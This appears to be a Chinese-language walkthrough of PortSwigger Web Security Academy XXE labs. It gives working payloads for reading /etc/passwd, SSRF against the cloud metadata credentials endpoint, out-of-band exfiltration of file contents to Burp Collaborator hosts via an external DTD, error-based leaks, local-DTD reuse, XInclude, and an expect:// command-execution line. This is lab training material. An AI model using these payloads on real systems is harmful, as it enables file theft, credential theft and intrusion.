burp靶场之XXE

概念

XXE(XML外部实体注入)是一个web安全漏洞,允许攻击者提交恶意XML数据,其中包含特定构造的DTD内容,可以查看应用服务器文件系统上的文件,除了读取文件之外,如果协议支持,还可以指向内网主机的端口,从错误信息上来判断内网主机这个端口是否开放。另外,一般来说,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另一种是一部分一部分的、“流式”地加载、解析。如果我们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。

直接看题目吧

题目

Exploiting XXE using external entities to retrieve files

主要接口过一遍,发现 /product/stock 接口的post请求提交的就是xml内容,同时这里会查询productId并回显内容,所以直接使用以下payload即可:

1
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Exploiting XXE to perform SSRF attacks

触发点一样,这里的目的是去给定的IP站点找AccessKeyId,还是一样的做法,将协议换成http,每次请求之后会把站点的响应内容跟在查询结果后面回显,多次尝试即可拿到AccessKeyId,最终的payload如下:

1
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]><stockCheck><productId>&xxe;</productId><storeId>&xxe;</storeId></stockCheck>

除了这种做法外还可以根据响应时间端口探测

Blind XXE with out-of-band interaction

无回显情况下的带外攻击,之前在poiexcel xxe遇到很多所以这里就不深入

1
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://l4qa17rm074exmckz7hz4wda61ct0i.burpcollaborator.net"> ]><stockCheck><productId>1</productId><storeId>&xxe;</storeId></stockCheck>

Blind XXE with out-of-band interaction via XML parameter entities

还是带外攻击,但是这里不能用XML常规实体,只能用XML参数实体。XML参数实体是一种特殊的XML实体,只能在DTD内的地方引用。只需要知道两件事。首先,XML参数实体的声明在实体名称之前包含百分比字符:

1
<!ENTITY % myparameterentity "my parameter entity value" >

其次,使用 % 而不是通常的 & 号来引用参数实体:

1
%myparameterentity;

因此这里最终的payload

1
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://87du5pj4q1c7qeo9fqenxf50mrslga.burpcollaborator.net"> ]><stockCheck><productId>%xxe; </productId><storeId>1</storeId></stockCheck>

Exploiting blind XXE to exfiltrate data using a malicious external DTD

经典的带外攻击场景,首先准备一个DTD文件放在可访问到的服务器上,题目给了环境,其内容如下:

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://ylngt0p0hnvj19qe3pulws6wqnwek3.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;

意思就是读取hostname,然后将hostname作为参数请求一个URL,这样就可以在服务器上通过日志看到hostname的值了。

在靶机里面输入以下内容:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "https://acd01f941f350b9180c331950114003e.web-security-academy.net/exploit"> %xxe;]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>

即可在burpcollaborator client 看到http请求与携带的数据

Exploiting blind XXE to retrieve data via error messages

跟上面类似,但是这里有报错回显,试了http协议貌似被禁用了,所以只能通过报错回显的形式

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///%file;'>">
%eval;
%exfil;

靶机提交包含上面DTDpayload

1
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://ac051fc21e4ac8d880f927f0017500d3.web-security-academy.net/exploit"> %xxe;]>

Exploiting XXE to retrieve data by repurposing a local DTD

前面的利用需要使用外部实体,在某些场景下外部实体被禁用的时候该怎么办呢? 内部实体,攻击调用本地文件系统上本身存在的DTD文件,并重新触发该文件以重新定义现有实体,从而触发包含敏感数据的解析错误,参考https://portswigger.net/blog/top-10-web-hacking-techniques-of-2018#7

题目提示Systems using the GNOME desktop environment often have a DTD at /usr/share/yelp/dtd/docbookx.dtd containing an entity called ISOamso. 也就是说我们要直接利用系统默认的dtd中的 ISOamso 来触发报错回显,最终的payload如下:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

该DTD的逻辑如下:

  • 定义一个名为local_dtd的XML参数实体,其中包含服务器文件系统上存在的外部DTD文件的内容
  • 重新定义名为ISOamso的XML参数实体,该实体已经在外部DTD文件中定义。 该实体被重新定义为包含已描述的基于错误的XXE漏洞,用于触发包含/ etc / passwd文件内容的错误消息。
  • 使用local_dtd实体,以便解释外部DTD,包括ISOamso实体的重新定义值。 最终便可使读取出的数据通过报错回显。

在我们的实际环境中,只要存在报错回显,就可以使用下面的语法进行测试,如果文件存在就不会报错,否则不存在该文件。

1
2
3
4
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Exploiting XInclude to retrieve files

这属于隐藏的xxe漏洞,直接提交的参数并不是xml文档,而是在服务器端将提交的参数嵌入到XML文档中,然后解析该文档。将客户端提交的数据放入后端SOAP请求中,然后由后端SOAP服务对其进行处理时,就会发生这种情况。

在这种情况下,无法进行经典的XXE攻击,因为您无法控制整个XML文档,因此无法定义或修改DOCTYPE元素。但是可以使用XInclude代替,XInclude是XML规范的一部分,该规范允许从子文档构建XML文档。

要进行XInclude攻击,您需要引用XInclude名称空间并提供要包含的文件的路径。例如:

1
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

总结

总结下XXE的常见利用方法:

  • 文件读取
  • SSRF
  • DOS
  • 命令执行,在某些php环境下可以配合expect实现命令执行,<!DOCTYPE GVI [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "expect://id" >]>

参考链接

https://www.cnblogs.com/backlion/p/9302528.html

https://websec.readthedocs.io/zh/latest/vuln/xxe.html